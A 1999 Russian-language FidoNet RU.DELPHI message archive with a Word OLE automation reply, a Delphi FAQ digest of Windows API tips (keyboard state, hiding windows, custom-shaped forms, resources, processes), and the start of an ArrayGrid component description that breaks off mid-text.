Word:=CreateOleObject('Word.Basic'); > Doc:=Word.Documents.Add; Что это ^^^^^^^^^^^^^^^^^ > Range:=Doc.Paragraphs.Add.Range; Что это ^^^^^^^^^^^^^^^^^ > Range.Text:=WideString('Мама мыла pамy'); Что это ^^^^^^^^^^^^^^^^^ > Doc.CheckSpelling; Что это ^^^^^^^^^^^^^^^^^ Так нельзя... Hужно что-то вроде: Word.Documents.Add; Word.Paragraphs.Add.Range; Word.Range.Text:=WideString('Мама мыла pамy'); Word.CheckSpelling; ^^^^^^^^^^^^^^^^ Все эти команды нужно пробовать и смотреть непосредственно в ворде, а то их синтаксис (семантика тоже!) вызывает большие сомнения... По крайней мере нужно в самом ворде проверить наличие команд: Documents.Add; Paragraphs.Add.Range; Range.Text:=WideString('Мама мыла pамy'); CheckSpelling; ??????????????????????? > Пpоблема в том что выдается сообщение: > > "Hе yдается найти yказанное меню" > -- With respect and best wishes Uri Siman. E-mail: uri@erriu.ukrpack.net Uri Siman, Ukraine, Kiev, IAPT. --- ifmail v.2.14dev3 * Origin: IPPT (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 171 of 341 From : Anton Saburov 2:5030/730.9 24 Jun 99 21:22:00 To : Vlad Melnichenko Subj : DX.MISC: Вопpос к ГУРУ? ──────────────────────────────────────────────────────────────────────────────── Hello Vlad. 23 Jun 99 19:30, Vlad Melnichenko wrote to All: VM> Задаю вопpос к ГУРУ, т.к. пpостые гpешные мне навеpное так и не VM> ответят. Я пока не ГУРУ (в мастеpа пока не допyскают ;)), но сдается мне, что если запyстить win32.hlp и найти в оглавлении Fonts and Text -> Creating a Logical Font, то там много интеpесного можно найти. Anton --- * Origin: anton@lanck.ru "I hope ..." (Anton 2:5030/730.9) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 172 of 341 - 157 + 177 From : Nick Slepchenko 2:5064/12 15 Jun 99 19:37:00 To : All Subj : [01/04] Дайджест по конференции RU.DELPHI (Содержание) ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (редакция от 30-05-99) ======================================================================== ############################################################################ # # # Я не претендую на авторские права тех людей, чьи материалы включены # # в этот дайджест. Здесь не yказаны их копирайты, но так полyчилось лишь # # потому что первоначально этот дайджест составлялся лично для себя. # # Так что претензий по авторским правам не принимаю. Я лишь имею права # # на эти материалы как составитель. # # # # С уважением... -= Hик - [FAQ TeAm] =- # # # # По всем вопросам: 2:5064/12.1@fidonet.org или nikbyte@mail.ru # # Также принимаются различные дополнения и пожелания. # ############################################################################ *** СОДЕРЖАHИЕ *** Часть 1: -------- 1. Каким образом можно узнать какая нажата кнопка на клавиатуре (мыши) вне зависимости от того, какое приложение в данный момент активно? 2. Как мне получить путь к запущенной программе из нее самой? 3. Как в Delphi определить, где установлена Windows? 4. Каким образом можно убрать приложение из Task Bar? 5. Каким образом можно убрать приложение из Task List? 6. Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? 7. Как можно сделать форму прозрачной? 8. Как сделать произвольную (непрямоугольную) форму? 9. Как создать файлы с уникальными именами? 10.Как программно переключать раскладку клавиатуры? 11.Как сделать невидимой главную форму? 12.Как запустить создание письма по указанному адресу? 13.Как запустить браузер по http-адресу? 14.Как рисовать прямо на экране? 15.Как увеличить в RichEdit размер редактируемого файла? 16.В каком порядке происходят события при создании и показе окна? 17.Если приложение долго выполняет какой-то цикл, как сделать так, чтобы остальные приложения не подвисали? Часть 2: -------- 1. Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую страницу и обратно? 2. Как использовать анимированные курсоры в программе? 3. Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос на сохранение? 4. Как выключить/включить звуковое оповещение Windows через PC Speaker? 5. Как скопировать файл? 6. Как инсталлировать на время работы программы свои шрифты? 7. Как узнать текущее разрешение экрана? 8. Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился в exe как некий кусок кода. А когда надо будет, записать его обратно в gif-файл без изменений, выковырнув из exe? 9. Как программно создать ярлык? 10.Как перетаскивать форму не только за Caption, но и за любое другое место? Часть 3: -------- 1. Как в TMemo определить номер строки, в которой находится курсор и его местоположение в строке? 2. Как быстро выводить графику? (А то Canvas очень медленно работает). 3. Как лучше сделать, если необходимо запустить внешний процесс и подождать, пока он отработает? 4. Как сохранить содержимое экрана в файл? 5. Как пеpемещать фоpму за Label? 6. Как определить, есть ли в системе Wave-устройство? 7. Как определить из под какой операционной системы запущена программа? --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 173 of 341 - 158 + 178 From : Nick Slepchenko 2:5064/12 15 Jun 99 19:37:00 To : All Subj : [02/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 1) ======================================================================== ------------------------------------------------------------------------------ > Каким образом можно узнать какая нажата кнопка на клавиатуре > (мыши) вне зависимости от того, какое приложение в данный момент > активно? GetAsyncKeyState. И для клавиатуpы, и для мыши. ------------------------------------------------------------------------------ > Как мне получить путь к запущенной программе из нее самой? Application.EXEName; ------------------------------------------------------------------------------ > Как в Delphi определить, где установлена Windows? GetWindowsDirectory Пример: var Windir : String; WindirP : PChar; ................................................ WinDirP := StrAlloc(MAX_PATH); Res := GetWindowsDirectory(WinDirP, MAX_PATH); if Res > 0 then WinDir := StrPas(WinDirP); ................................................ ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task Bar? ShowWindow(Application.Handle,SW_HIDE); ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task List? (Только для Win'9x) Пример: unit hideprg; interface procedure TryToHide; implementation procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess'; procedure TryToHide;assembler; asm push 1 push 0 call RegisterServiceProcess; end; ------------------------------------------------------------------------------ > Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? Пример (работает только в Win'95): var WnHnd : Integer; ........................................................ WnHnd := GetWindowLong(Application.Handle, GWL_EXSTYLE); WnHnd := WnHnd or WS_EX_TOOLWINDOW; SetWindowLong(Application.Handle, GWL_EXSTYLE, WnHnd); ........................................................ ------------------------------------------------------------------------------ > Как можно сделать форму прозрачной? Для этого необходимо пеpеопpеделить обpаботчик события OnCreate: procedure TForm1.FormCreate(Sender: TObject); begin Brush.Style:=bsClear; end; ------------------------------------------------------------------------------ > Как сделать произвольную (непрямоугольную) форму? Win32 (Windows'95 or Windows NT 4.0 or above). Достаточно создать регион нужной формы и вызвать SetWindowRgn - HRGN rgn := CreateEllipticRgn( 10,10,100,100 ); SetWindowRgn( hMyWnd,rgn ); // Вот и будет круглое окно При этом регион этот теперь используется Windows и будет уничтожен при закрытии окна. Вот, например: ........................................................ procedure TForm1.FormCreate(Sender: TObject); const W=36*pi/180; var R,R1,R2: HRgn; X,Y,i:integer; function S(a:integer;R:integer):integer; begin Result:=round(R*sin(W*a)); end; function C(a:integer;R:integer):integer; begin Result:=round(R*cos(W*a)); end; function GetStarReg(X,Y,R:integer):HRGN; var P : array [0..4] of TPoint; begin P[0] := Point(X, Y-R); P[1] := Point(X-S(4,R), Y-C(4,R)); P[2] := Point(X-S(8,R), Y-C(8,R)); P[3] := Point(X-S(2,R), Y-C(2,R)); P[4] := Point(X-S(6,R), Y-C(6,R)); Result := CreatePolygonRgn(P, 5, WINDING); end; begin X:=Width div 2; Y:=Height div 2; R:=GetStarReg(X,Y,100); i:=1; repeat R1:=GetStarReg(X-S(i,120),Y-C(i,110),40); CombineRgn(R,R,R1,RGN_OR); inc(i,2); until i>9; R1:=GetStarReg(X,Y,30); CombineRgn(R,R,R1,RGN_DIFF); R1:=CreateEllipticRgn(3,3,Width-6,Height-6); R2:=CreateEllipticRgn(20,10,Width-20,Height-10); CombineRgn(R1,R1,R2,RGN_DIFF); CombineRgn(R,R,R1,RGN_OR); SetWindowRgn(Handle, R, True); end; ........................................................ ------------------------------------------------------------------------------ > Как создать файлы с уникальными именами? Здесь удобнее всего использовать имя, состоящее из даты и времени, напри- мер: 2310566160798 для 23:10:56 16-07-98. Если перевести это число в 32-чную систему счисления, получим искомые восемь символов имени файла. Это хорошо использовать, если программа создает много файлов, которые потом будут ис- пользоваться. Если же нужно создать несколько временных файлов, то лучше воспользоваться фyнкцией GetTempFileName. ------------------------------------------------------------------------------ > Как программно переключать раскладку клавиатуры? LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский ------------------------------------------------------------------------------ > Как сделать невидимой главную форму? Hаписать Application.ShowMainForm:=false в файле пpоекта. ------------------------------------------------------------------------------ > Как запустить создание письма по указанному адресу? > Как запустить браузер по http-адресу? Сначала необходимо написать в разделе uses ShellAPI. E-mail: ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0); Страничку: ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0); ------------------------------------------------------------------------------ > Как рисовать прямо на экране? ........................................................ Procedure DrawOnScreen; Var DC:HDC; DesktopCanvas:TCanvas; begin DC:=GetDC(0); // получили DC экрана try DesktopCanvas:=TCanvas.Create; DesktopCanvas.Handle:=DC; .................. // здесь рисуем на Canvas экрана .................. finally ReleaseDC(0,DC); DesktopCanvas.Free; end; end; ........................................................ ------------------------------------------------------------------------------ > Как увеличить в RichEdit размер редактируемого файла? RichEdit1.Perform(EM_LIMITTEXT, нужный размер , 0); Перед каждым открытием файла это действие необходимо повторять. ------------------------------------------------------------------------------ > В каком порядке происходят события при создании и показе окна? OnCreate, OnShow, OnPaint, OnActivate, OnResize и снова OnPaint. ------------------------------------------------------------------------------ > Если приложение долго выполняет какой-то цикл, как сделать так, чтобы > остальные приложения не подвисали? 1. Вставить в тело цикла: Application.ProcessMessages 2. Запустить этот цикл как отдельный процесс, используя класс TThread. ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 174 of 341 - 159 + 179 From : Nick Slepchenko 2:5064/12 15 Jun 99 19:37:00 To : All Subj : [03/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 2) ======================================================================== ------------------------------------------------------------------------------ > Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую > страницу и обратно? CharToOEM/OEMToChar и CharToOEMBuff/OEMToCharBuff. ------------------------------------------------------------------------------ > Как использовать анимированные курсоры в программе? Пример формы, использующей анимированный курсор: ........................................................ procedure TForm1.Button1Click(Sender: TObject); var h : THandle; begin h := LoadImage(0,'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or LR_LOADFROMFILE); if h = 0 then ShowMessage('Cursor not loaded') else begin Screen.Cursors[1] := h; Form1.Cursor := 1; end; end; ........................................................ ------------------------------------------------------------------------------ > Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос > на сохранение? Обрабатывать событие OnCloseQuery ------------------------------------------------------------------------------ > Как выключить/включить звуковое оповещение Windows через PC Speaker? Выключить: SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE); Включить: SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE); ------------------------------------------------------------------------------ > Как скопировать файл? Эта процедура позволяет скопиpовать как весь файл пpи From и Count = 0, так и пpоизвольный его кусок. ........................................................ function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint; var InFS,OutFS: TFileStream; begin InFS := TFileStream.Create( InFile, fmOpenRead ); OutFS := TFileStream.Create( OutFile, fmCreate ); InFS.Seek( From, soFromBeginning ); Result := OutFS.CopyFrom( InFS, Count ); InFS.Free; OutFS.Free; end; ........................................................ ------------------------------------------------------------------------------ > Как инсталлировать на время работы программы свои шрифты? Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом: ........................................................ {$IFDEF WIN32} AddFontResource( PChar( my_font_PathName { AnsiString } ) ); {$ELSE} var ss : array [ 0..255 ] of Char; AddFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Убрать его по окончании работы: ........................................................ {$IFDEF WIN32} RemoveFontResource ( PChar(my_font_PathName) ); {$ELSE} RemoveFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Где my_font_PathName - полный путь к файлу со шрифтом. ------------------------------------------------------------------------------ > Как узнать текущее разрешение экрана? Screen.Width и Screen.Height ------------------------------------------------------------------------------ > Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- > зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился > в exe как некий кусок кода. А когда надо будет, записать его обратно в > gif-файл без изменений, выковырнув из exe? Можно, используя RxLib. После его установки в меню View появится пунктик Project Resources. Hужно выбрать Project Resources->New->User Data и добавить нужный файл. В данном случае ресурс был назван "RCDATA_1". Если RxLib нет, то нужно создать файл описания ресурсов: === Begin gifs.rc === mygif rcdata "имя_gif-файла.gif" mygif1 rcdata "RCDATA_1" === End dots.rc === Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res} В своей программе необходимо написать: var rs : TResourceStream; a : Pointer; begin rs:=TResourceStream.Create(hinstance,'RCDATA_1',RT_RCDATA); try GetMem(a,rs.size); rs.Read(a^,rs.size); {Теперь a - динамический указатель на код} { Здесь делается все, что необходимо с кодом, используя указатель a } FreeMem(a); finally rs.Free; end; end; А можно и так, если необходимо записать ресурс в файл: var rs : TResourceStream; fs : TFileStream; begin rs:=TResourceStream.Create(hInstance, 'mygif', RT_RCDATA); fs:=TFileStream.Create('имя_gif-файла.gif', fmCreate); try fs.CopyFrom(rs, rs.Size); finally fs.Free; rs.Free; end; end; ------------------------------------------------------------------------------ > Как программно создать ярлык? ........................................................ uses ShlObj, ComObj, ActiveX; procedure CreateLink(const PathObj, PathLink, Desc, Param: string); var IObject: IUnknown; SLink: IShellLink; PFile: IPersistFile; begin IObject := CreateComObject(CLSID_ShellLink); SLink := IObject as IShellLink; PFile := IObject as IPersistFile; with SLink do begin SetArguments(PChar(Param)); SetDescription(PChar(Desc)); SetPath(PChar(PathObj)); end; PFile.Save(PWChar(WideString(PathLink)), FALSE); end; ........................................................ ------------------------------------------------------------------------------ > Как перетаскивать форму не только за Caption, но и за любое другое место? ........................................................ TForm1 = class(TForm) ... private ... procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest; ... end; ... procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { вызов унаследованного обpаботчика } if M.Result = htClient then { Мышь сидит на окне? } M.Result := htCaption; { Если да - то пусть Windows думает, что } { мышь на caption bar } end; ........................................................ ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 175 of 341 - 160 + 180 From : Nick Slepchenko 2:5064/12 15 Jun 99 19:37:00 To : All Subj : [04/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 3) ======================================================================== ------------------------------------------------------------------------------ > Как в TMemo определить номер строки, в которой находится курсор и его > местоположение в строке? ........................................................ var X,Y: LongInt; Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0); X:=Memo1.Parform(EM_LINEINDEX, Y, 0); inc(Y); X:=Memo1.SelStart-X+1; ........................................................ ------------------------------------------------------------------------------ > Как быстро выводить графику? (А то Canvas очень медленно работает). Вот пример заполнения формами точками случайного цвета. ........................................................ type TRGB=record b,g,r:byte; end; ARGB=array [0..1] of TRGB; PARGB=^ARGB; var b:TBitMap; procedure TForm1.FormCreate(sender:TObject); begin b:=TBitMap.Create; b.pixelformat:=pf24bit; b.width:=Clientwidth; b.height:=Clientheight; end; procedure TForm1.Tim1OnTimer(sender:TObject); Var p:PARGB; x,y:integer; begin for y:=0 to b.height-1 do begin p:=b.scanline[y]; for x:=0 to b.width-1 do begin p[x].r:=random(256); p[x].g:=random(256); p[x].b:=random(256); end; end; canvas.draw(0,0,b); end; procedure TForm1.FormDestroy(sender:TObject); begin b.free; end; ........................................................ ------------------------------------------------------------------------------ > Как лучше сделать, если необходимо запустить внешний процесс и подождать, > пока он отработает? ........................................................ procedure TForm1.Button1Click(Sender: TObject); var si:TStartupInfo; pi:TProcessInformation; cmdline:string; begin ZeroMemory(@si,sizeof(si)); si.cb:=SizeOf(si); cmdline:='c:\command.com'; if not CreateProcess( nil, // No module name (use command line). PChar(cmdline), // Command line. nil, // Process handle not inheritable. nil, // Thread handle not inheritable. False, // Set handle inheritance to FALSE. 0, // No creation flags. nil, // Use parent's environment block. nil, // Use parent's starting directory. si, // Pointer to STARTUPINFO structure. pi ) // Pointer to PROCESS_INFORMATION structure. then begin ShowMessage( 'CreateProcess failed.' ); Exit; end; WaitForSingleObject( pi.hProcess, INFINITE ); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); ShowMessage('Done !'); end; ........................................................ ------------------------------------------------------------------------------ > Как сохранить содержимое экрана в файл? ........................................................ procedure TForm1.Button1Click(Sender: TObject); var DC: HDC; Canva: TCanvas; B: TBitmap; begin Canva := TCanvas.Create; B := TBitmap.Create; DC := GetDC(0); try Canva.Handle := DC; with Screen do begin B.Width := Width; B.Height := Height; B.Canvas.CopyRect(Rect(0, 0, Width, Height), Canva, Rect(0, 0, Width, Height)); B.SaveToFile('c:\screen.bmp'); end finally ReleaseDC(0, DC); B.Free; Canva.Free end end; ........................................................ ------------------------------------------------------------------------------ > Как пеpемещать фоpму за Label? ........................................................................ procedure TForm1.Label1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); const SC_DragMove = $F012; { a magic number } begin ReleaseCapture; Form1.perform(WM_SysCommand, SC_DragMove, 0); end; ........................................................................ ------------------------------------------------------------------------------ > Как определить, есть ли в системе Wave-устройство? ........................................................ uses MMSystem; procedure TForm1.Button1Click(Sender: TObject); begin if WaveOutGetNumDevs > 0 then ShowMessage('Sound Card is installed') else ShowMessage('Sound Card is not installed') end; ........................................................ ------------------------------------------------------------------------------ > Как определить из под какой операционной системы запущена программа? ........................................................ If (GetVersion() and $80000000)<>0 then // ...'Windows 95/98'... else // ... 'Windows NT'... end; ........................................................ ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 176 of 341 From : Alex Konshin 2:5030/217 22 Jun 99 15:38:00 To : All Subj : D4.VCL небольшое описание ArrayGrid ──────────────────────────────────────────────────────────────────────────────── Hello All. Delphi 4 Component ArrayGrid. 22 may 1999 (c) 1999 Alex Konshin mailto:alexk@mtgroup.ru http://www.mtgroup.ru/~alexk Очень кратко о том, что такое ArrayGrid. Во-первых, это наследник TCustomControl (согласись, это уже необычно для грида), поэтому он не тянет за собой тяжелое наследие TCustomGrid. Во-вторых, он в отличии от TStringGrid привязвывается к данным, но в отличии от TDBGrid источник данных абстрактный, то есть вовсе необязательно чтобы данные были в базе, более того, данные вполне могут вычисляться на лету (при этом соответствующая клетка все-таки может быть редактируемой). В-третьих, в нем нет ненужных в большинстве случаев наворотов вроде разной высоты строк, толщины разделяющей линии и т.п., за счет чего существенно упрощена и ускорена отрисовка. При этом очень просто делается выбор цвета ячейки (метод OnGetCellColor). Реализован multiselect для строк (отметка прямоугольных регионов IMHO вообще мало когда нужна), логика отметки позволяет раз/отмечать несколько участков (в отличии от логики Explorer, где нельзя это сделать с помощью Shift, только через Ctrl, что иногда бывает очень утомительно). Совсем по-другому сделан скроллинг по горизонтали - он плавный, хотя с помощью Ctrl+стрелка можно скакать по колонкам почти как в обычном гриде. Пока есть только четыре типа ячеек: выравненная влево строка, выравненная вправо строка, целое число и деньги (кстати, числа редактируются довольно забавно - они не прыгают влево при редактировании и грамотно реагируют на десятичную точку). При большом желании можно сделать собственную отрисовку ячеек, про собственное редактирование, pickuplist и т.п. думаем, может сделаю. Пока есть только два варианта подключения данных, но оба требуют написания наследников от абстрактных классов. Первый способ наиболее общий: написать наследника от TAbstractDataConnector. Для этого достаточно переопределить методы GetAs/SetAs и, если нужен multiselect, то и Get/SetSelected. Есть также возможность перекрытия других методов для оптимизации. Второй способ - упрощение для наиболее частой ситуации: обычно есть какой-то массив данных, которые хочется смотреть/редактировать в гриде. Для этого реализуем соответствующий динамический массив объектов на основе абстрактных классов TGridDataArray и TGridDataArrayItem, перекрываем GetAs/SetAs (перекрывать Get/SetSelected не надо - уже реализовано). В обработчике события OnCreate формы создаем этот массив и, когда приходит время загрузить и отрисовать данные (например, в обработчике события OnShow формы), присваиваем его свойству грида DataObject. Простейший пример, находящийся в директории Test, показывает как это должно выглядеть. Register-процедура находится в ArrayGrids.pas Классы из модуля Arrays.pas используются в ArrayGrids, хотя сам этот модуль тоже достаточно интересный. Свойства и методы класса TArrayGrid: property Options: TArrayGridOptions; TArrayGridOption = (goMultiSelect,goDrawFocusSelected,goColSizing,goEditing, goRowSelect,goAlwaysShowEditor,goVertThumbTracking,goHorzThumbTracking, goTabs,goSmoothScroll,goTrackMouse,goTrackEditorChanging,goSortOnTitleClick); goMultiSelect - Разрешение множественной отметки строк. Пользователь может ставить/снимать отметку при помощи клавиатуры и мыши. Из приложения отметка устанавливается методом DataConnector.SetSelected, получить значение можно с помощью DataConnector.GetSelected, а если класс присоединенного объекта данных является наследником от класса TGridDataArray, то к отметке можно обращаться посредством его методов GetSelected/SetSelected. Цвет ячеек, принадлежащих отмеченным строками, задается через SelColor,SelTextColor,SelFocusColor,SelFocusTextColor. goDrawFocusSelected - Если True, то цвета *Focus*Color относятся к ячейке, на которую указывает Row и Col, иначе они описывают цвета строки Row (есть у меня подозрение, что здесь что-то не так, уже сам не помню). goRowSelect - Атавизм, т.к. можно отмечать только строки, тоже как-то влияет на цвет ячеек. goColSizing - Если True, то разрешено менять ширину колонок. goEditing - Если True, разрешено редактирование ячеек в колонках, для которых property ReadOnly = False. goAlwaysShowEditor - Если разрешено редактирование ячейки, находящейся в фокусе, то она будет в режиме редактирования. goVertThumbTracking,goHorzThumbTracking - Если тащить за бегунок полосы прокрутки, то синхронно будет изменяться положение ячейки в фокусе. При отключенных этих режимах оно изменяется только при отпускании бегунка. goSmoothScroll - (Win2K only) гладкая прокрутка (я не уверен, что она работает так, как об этом пишет MS). goTabs - Если True, то клавиша Tab будет изменять фокус. goTrackMouse - Если в этом режиме нажать на левую кнопку мыши и двигать за пределы грида, то автоматически будет производится прокрутка. Если же при этом еще и нажата клавиша Shift, то попутно будет ставиться/сниматься отметка строк. goTrackEditorChanging - В этом режиме при редактировании ячейки на каждое изменение будет вызываться метод DataConnector.SetAs...(т.е. сохранять), иначе это действие будет происходить только при выходе из редактирования. goSortOnTitleClick - Пока этот режим имеет смысл только если класс присоединенного объекта с данными является наследником от TGridDataArray. В этом случае при клике на заголовок колонки будет переключаться направление сортировки записей (три состояния: по возрастанию, по убыванию и в первоначальном порядке). property DefaultColWidth: Integer; Задает ширину колонки по умолчанию. property TitleHeight : Integer; Задает высоту заголовка колонки. property RowHeight: Integer; Задает высоту строк. Все строки данных имеют одинаковую высоту. property LeftCol: LongInt; омер (от нуля) левой отображаемой колонки. property MaxLeftCol: LongInt; Максимальный номер левой отображаемой (хотя бы частично) колонки. Грид стремится не оставлять пустое место справа. property RightCol: LongInt; омер правой отображаемой колонки. property TopRow: LongInt; омер (от нуля) верхней строки. property MaxTopRow: LongInt; Максимальный номер верхней строки (от нуля). Грид стремится не оставлять пустое место снизу. property BottomRow: LongInt; омер (от нуля) последней отображаемой (хотя бы частично) строки. property Col: LongInt; омер колонки для ячейки в фокусе. property Row: LongInt; омер текущей строки - номер строки, которой находится ячейка в фокусе. property VisibleRowCount: Integer; Количество отображаемых строк. property GridWidth : LongInt; Ширина области данных грида без учета пустого пространства справа. property GridHeight : LongInt; Высота области данных и заголовка. property Offset : LongInt; Смещение левого края левой видимой колонки от левого края клиентской части окна. property Color default clWindow; Цвет фона. property SelColor : TColor; Цвет фона ячейки из отмеченной строки. property SelTextColor : TColor; Цвет текса ячейки из отмеченной строки. property SelFocusColor : TColor; Цвет фона ячейки из отмеченной строки, если она в фокусе. property SelFocusTextColor : TColor; Цвет текста ячейки из отмеченной строки, если она в фокусе. property FocusColor : TColor; Цвет фона ячейки в фокусе. property FocusTextColor : TColor; Цвет текста ячейки в фокусе. property ScrollBars: TArrayGridScrollBars default [sbHorz,sbVert]; TArrayGridScrollBars = set of (sbHorz,sbVert); Разрешение на отображение полос прокрутки. Если необходимости в прокрутке нет, то они не будут отображаться независимо от значения этого свойства. property DefaultDrawing: Boolean default True; Если False, то закрашивание фона и отрисовка линий не будет производиться. property EditorMode: Boolean; Если True, то ячейка в фокусе сейчас редактируется. property DataConnector : TAbstractDataConnector; Объект для доступа к данным. Если данные в объекте класса-наследнике от TGridDataArray, то проще воспользоваться свойством DataObject, в противном случае нужно написать наследника от TAbstractDataConnector, создать объект и присвоить его описываемому свойству грида. property ColCount : LongInt read GetColCount; Количество колонок. Всегда больше нуля. property Columns : TArrayGridCols; Массив описателей колонок. property RowCount: LongInt; Количество строк. property DataObject : TObject; Присоединенный объект данных. То же, что и DataConnector.DataObject. Если присвоить объект класса-наследника TGridDataArray, то автоматически будет создан объект TGridDataArrayConnector и проставлены необходимые связи, что приведет к отрисовке данных в гриде. property OnDrawTitle : TArrayGridDrawTitleEvent; TArrayGridDrawTitleEvent = procedure( Sender: TObject; ARect : TRect ) of Object; В обработчике этого события нужно полностью отрисовывать строку заголовков. Умалчиваемая отрисовка может быть выполнена методом DrawTitle. property OnDrawRow : TArrayGridDrawRowEvent; TArrayGridDrawRowEvent = procedure( Sender: TObject; const ARow, ALeftCol : LongInt; ARect : TRect; State: TArrayGridDrawState ) of Object; Обработчик этого события должен полностью отрисовать указанную строку данных. Умалчиваемая отрисовка ячеек может быть выполнена с помощью метода DrawCell (см.также DrawStringCell, DrawRightStrCell, DrawIntegerCell, DrawCurrencyCell). property OnDrawCell : TArrayGridDrawCellEvent; TArrayGridDrawCellEvent = function ( Sender: TObject; const ACol, ARow: LongInt; ARect: TRect; AState: TArrayGridDrawState ) : Boolean of object; Обработчик этого события должен полностью отрисовать указанную ячейку. Умалчиваемая отрисовка может быть выполнена с помощью метода DrawCell ( см.также DrawStringCell, DrawRightStrCell, DrawIntegerCell, DrawCurrencyCell ). property OnGetCellColor : TArrayGridGetCellColorEvent; TArrayGridGetCellColorEvent = procedure ( Sender: TObject; const ACol, ARow : LongInt; var AColor, ATextColor : TColor; AState: TArrayGridDrawState ) of object; Обработчик этого события может изменить цвет фона и текста ячеек. property OnDataChanged : TArrayGridDataChangedEvent; TArrayGridDataChangedEvent = procedure( Sender: TObject; const ACol, ARow : LongInt ) of Object; Вызывается при изменении данных. Параметры ACol и/или ARow могут равняться -1, что означает, что изменены данные строки и/или колонки соответственно. property OnRowsChanged : TArrayGridRowsChangedEvent; TArrayGridRowsChangedEvent = procedure( Sender: TObject; const AFrom, ATo : LongInt ) of Object; property OnRowsDeleted : TArrayGridRowsChangedEvent; TArrayGridRowsChangedEvent = procedure( Sender: TObject; const AFrom, ATo : LongInt ) of Object; Обработчик вызывается при удалении строк. Если в одной операции удаляется много строк, то обработчик может быть вызван несколько раз (но для разных групп строк). property OnSelectionChanged : TArrayGridRowsChangedEvent; TArrayGridRowsChangedEvent = procedure( Sender: TObject; const AFrom, ATo : LongInt ) of Object; Обработчик вызывается при смене отметки. property OnTitleClick : TArrayGridTitleClickEvent; TArrayGridTitleClickEvent = procedure( Sender: TObject; const ACol : LongInt ) of Object; Обработчик вызывается при левом шелчке на заголовке колонки. function AddColumn( const ACaption : String; const AWidth : Integer ) : TArrayGridCol; virtual; Добавляет новую колонку. procedure DeleteColumn( const ACol : LongInt ); virtual; Удаляет колонку. Последняя колонка не может быть удалена. procedure InvalidateCell( const ACol, ARow: LongInt ); Указывает гриду, что указанная ячейка должна быть перерисована. ARow может равняться константе iTitle, тогда будет перерисован заголовок соответствующей колонки. procedure InvalidateCol( const ACol: LongInt ); Указывает гриду, что указанная колонка должна быть перерисована. procedure InvalidateRow( const ARow: LongInt ); Указывает гриду, что указанная строка должна быть перерисована. ARow может равняться константе iTitle, тогда будет перерисована строка заголовков. procedure InvalidateRows( const AFrom, ATo : LongInt ); Указывает гриду, что указанный диапазон строк должен быть перерисован. Параметры также могут равнятся iTitle (заголовок) и iBlank(пустая область). procedure InvalidateRect( ARect : TArrayGridRect ); Указывает гриду, что указанный прямоугольник ячеек должен быть перерисован. procedure DrawTitle; virtual; Умалчиваемая отрисовка заголовка. procedure DrawCell( const ACol, ARow : LongInt; ARect: TRect; AState: 